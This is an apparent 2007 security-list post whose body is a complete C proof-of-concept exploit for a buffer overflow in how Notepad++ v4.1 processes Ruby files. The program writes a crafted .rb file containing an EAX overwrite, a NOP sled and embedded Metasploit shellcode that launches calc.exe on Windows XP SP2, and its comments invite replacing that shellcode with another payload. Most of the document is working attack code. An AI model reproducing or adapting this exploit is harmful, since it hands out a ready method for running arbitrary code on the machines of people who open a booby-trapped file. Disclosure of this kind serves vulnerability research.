notepad++[v4.1]: (win32) ruby file processing buffer overflow exploit. May 13 2007 02:22AM
v9 (v9 fakehalo us)
...i took a look at the new notepad++, and noticed this, i'm not sure how
long it has been there or if it was recently added to the code... either
way here is a POC for it.

original reference:
http://fakehalo.us/xnotepad++.c

/*[ notepad++[v4.1]: (win32) ruby file processing buffer overflow exploit. ]*
* *
* by: vade79/v9 v9 (at) fakehalo (dot) us [email concealed] (fakehalo/realhalo) *
* *
* compile: *
* gcc xnotepad++.c -o xnotepad++ *
* *
* syntax: *
* ./xnotepad++ [-xe] -f filename *
* *
* notepad++ homepage/url: *
* http://sourceforge.net/projects/notepad-plus/ *
* http://notepad-plus.sourceforge.net/ *
* *
* notepad++ contains a buffer overflow vulnerability in the way it *
* processes ruby source files (.rb). this exploit works by overwriting *
* EAX which gets called during processing as "CALL DWORD EAX+4", so EAX *
* needs to point to a user-controlled area that contains another address *
* which will then become EIP. once EIP is controlled it simply jumps a *
* little bit forward in memory to the nop sled/shellcode. *
* *
* as of now, this will only be successful if the created file is opened *
* via "Edit with notepad++" on the file, not when opening a file from *
* inside notepad++. this is mainly to prove this vulnerability can be *
* exploited. *
* *
* exploitation method(file.rb): *
* [FILLERx32][NEW_EAX][FILLERx128]\r\n *
* # [NEW_EIPx1000][NOPSx4000][SHELLCODE]\r\n *
* *
* (i was a bit liberal with the new_eip/shellcode space, can pretty much *
* make it as large as you like. also, addresses with null-bytes are *
* allowed) *
* *
* if successful, notepad++ will spawn calc.exe by default, swap the *
* shellcode out if you want a different result. this was tested on winXP *
* SP2 ENG, if it is something else the EAX/EIP addresses may need to be *
* fished out of memory in your favorite debugger. *
************************************************************************
***/

#include <stdio.h>
#include <stdlib.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <getopt.h>

#define DFL_EAX 0x000fd47c /* winXP SP2 ENG */
#define DFL_EIP 0x000fe3d0 /* winXP SP2 ENG */

/* win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 */
/* Encoder=PexFnstenvSub http://metasploit.com */
static unsigned char x86_exec[] =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x19\x25\xc7\x83\xeb\xfc\xe2\xf4\x24\xf1\x61\xc7\xd8\x19\xae\x82"
"\xe4\x92\x59\xc2\xa0\x18\xca\x4c\x97\x01\xae\x98\xf8\x18\xce\x8e"
"\x53\x2d\xae\xc6\x36\x28\xe5\x5e\x74\x9d\xe5\xb3\xdf\xd8\xef\xca"
"\xd9\xdb\xce\x33\xe3\x4d\x01\xc3\xad\xfc\xae\x98\xfc\x18\xce\xa1"
"\x53\x15\x6e\x4c\x87\x05\x24\x2c\x53\x05\xae\xc6\x33\x90\x79\xe3"
"\xdc\xda\x14\x07\xbc\x92\x65\xf7\x5d\xd9\x5d\xcb\x53\x59\x29\x4c"
"\xa8\x05\x88\x4c\xb0\x11\xce\xce\x53\x99\x95\xc7\xd8\x19\xae\xaf"
"\xe4\x46\x14\x31\xb8\x4f\xac\x3f\x5b\xd9\x5e\x97\xb0\xf6\xeb\x27"
"\xb8\x71\xbd\x39\x52\x17\x72\x38\x3f\x7a\x44\xab\xbb\x37\x40\xbf"
"\xbd\x19\x25\xc7";

struct{
unsigned int eax;
unsigned int eip;
char *file;
}tbl;

/* lonely extern. */
extern char *optarg;

/* functions. */
unsigned char write_rb(char *,unsigned int,unsigned int);
void printe(char *,short);
void usage(char *);

/* start. */
int main(int argc,char **argv){
signed int chr=0;
char *ptr;

printf("[*] notepad++[v4.1]: (win32) ruby file processing buffer over"
"flow exploit.\n[*] by: vade79/v9 v9 (at) fakehalo (dot) us [email concealed] (fakehalo/realhalo)"
"\n\n");

tbl.eax=DFL_EAX;
tbl.eip=DFL_EIP;

while((chr=getopt(argc,argv,"f:x:e:"))!=EOF){
switch(chr){
case 'f':
if(!tbl.file){
if((ptr=rindex(optarg,'.'))&&!strcasecmp(ptr,".rb")){
if(!(tbl.file=(char *)strdup(optarg)))
printe("main(): allocating memory failed",1);
}
else{
if(!(tbl.file=(char *)malloc(strlen(optarg)+4)))
printe("main(): allocating memory failed",1);
sprintf(tbl.file,"%s.rb",optarg);
}
}
break;
case 'x':
sscanf(optarg,"%x",&tbl.eax);
break;
case 'e':
sscanf(optarg,"%x",&tbl.eip);
break;
default:
usage(argv[0]);
break;
}
}
if(!tbl.file)usage(argv[0]);

printf("[*] filename:\t\t\t%s\n",tbl.file);
printf("[*] EAX address:\t\t0x%.8x\n",tbl.eax);
printf("[*] EIP address:\t\t0x%.8x\n\n",tbl.eip);

if(write_rb(tbl.file,tbl.eax,tbl.eip))
printe("failed to write to file.",1);
exit(0);
}

/* write the ruby file. */
unsigned char write_rb(char *file,unsigned int eax,unsigned int eip){
unsigned int i=0;
unsigned int real_eax=eax-4;
unsigned char filler='x';
unsigned char nop=0x90;
FILE *fs;
if(!(fs=fopen(file, "wb")))return(1);
for(i=0;i<32;i++){
fwrite(&filler,1,1,fs);
}
/* EAX overwrite, "CALL DWORD EAX+4" will be processed. */
fwrite(&real_eax,4,1,fs);
for(i=0;i<128;i++){
fwrite(&filler,1,1,fs);
}
/* from here on will be commented out, but loaded into memory. */
fwrite("\r\n# ",4,1,fs);
/* EAX overwrite will point here, and change the EIP to this. */
for(i=0;i<1000;i++){
fwrite(&eip,4,1,fs);
}
/* EIP from above will point into this nop sled. */
for(i=0;i<4000;i++){
fwrite(&nop,1,1,fs);
}
/* if all went well, execute away! */
fwrite(&x86_exec,sizeof(x86_exec),1,fs);
fwrite("\r\n",2,1,fs);
fclose(fs);
return(0);
}

/* error! */
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)exit(1);
return;
}

/* usage. */
void usage(char *progname){
printf("syntax: %s [-xe] -f filename\n\n",progname);
printf(" -f <file>\tfilename to output.\n");
printf(" -x <addr>\tEAX address, points to new EIP address in memory (0x%.8x)\n",
tbl.eax);
printf(" -e <addr>\tEIP address, points to NOPS/shellcode (0x%.8x)\n\n",tbl.eip);
exit(0);
}

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